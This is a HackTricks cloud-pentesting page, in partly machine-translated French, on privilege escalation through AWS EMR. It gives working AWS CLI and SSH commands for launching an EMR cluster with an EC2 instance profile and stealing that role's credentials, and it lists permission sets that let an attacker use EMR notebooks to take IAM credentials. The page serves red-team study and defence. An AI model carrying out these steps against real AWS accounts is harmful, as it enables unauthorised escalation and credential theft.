AWS - EMR Privesc

Reading time: 4 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

EMR

Plus d'infos sur EMR dans:

AWS - EMR Enum

iam:PassRole, elasticmapreduce:RunJobFlow

Un attaquant disposant de ces permissions peut exécuter un nouveau cluster EMR en attachant des rôles EC2 et tenter de voler ses identifiants.
Notez que pour cela vous auriez besoin de know some ssh priv key imported in the account ou d'en importer une, et d'être capable de open port 22 in the master node (vous pourriez être capable de le faire avec les attributs EmrManagedMasterSecurityGroup et/ou ServiceAccessSecurityGroup dans --ec2-attributes).

bash
# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
chmod 400 /tmp/sshkey
base64 /tmp/sshkey.pub > /tmp/pub.key
aws ec2 import-key-pair \
--key-name "privesc" \
--public-key-material file:///tmp/pub.key


aws emr create-cluster \
--release-label emr-5.15.0 \
--instance-type m4.large \
--instance-count 1 \
--service-role EMR_DefaultRole \
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc

# Wait 1min and connect via ssh to an EC2 instance of the cluster)
aws emr describe-cluster --cluster-id <id>
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances

Note how an EMR role is specified in --service-role and a ec2 role is specified in --ec2-attributes inside InstanceProfile. However, this technique only allows to steal the EC2 role credentials (as you will connect via ssh) but no the EMR IAM Role.

Impact potentiel : Privesc vers le EC2 service role spécifié.

elasticmapreduce:CreateEditor, iam:ListRoles, elasticmapreduce:ListClusters, iam:PassRole, elasticmapreduce:DescribeEditor, elasticmapreduce:OpenEditorInConsole

Avec ces permissions, un attaquant peut aller sur la AWS console, créer un Notebook et y accéder pour voler le IAM Role.

caution

Même si vous attachez un IAM role à l'instance du notebook, lors de mes tests j'ai remarqué que j'ai pu voler des credentials gérés par AWS et non des creds liés à l'IAM role.

Impact potentiel : Privesc vers le AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile

elasticmapreduce:OpenEditorInConsole

Rien que avec cette permission, un attaquant pourra accéder au Jupyter Notebook et voler le IAM role qui lui est associé.
L'URL du notebook est https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/

caution

Même si vous attachez un IAM role à l'instance du notebook, lors de mes tests j'ai remarqué que j'ai pu voler des credentials gérés par AWS et non des creds liés à l'IAM role.

Impact potentiel : Privesc vers le AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks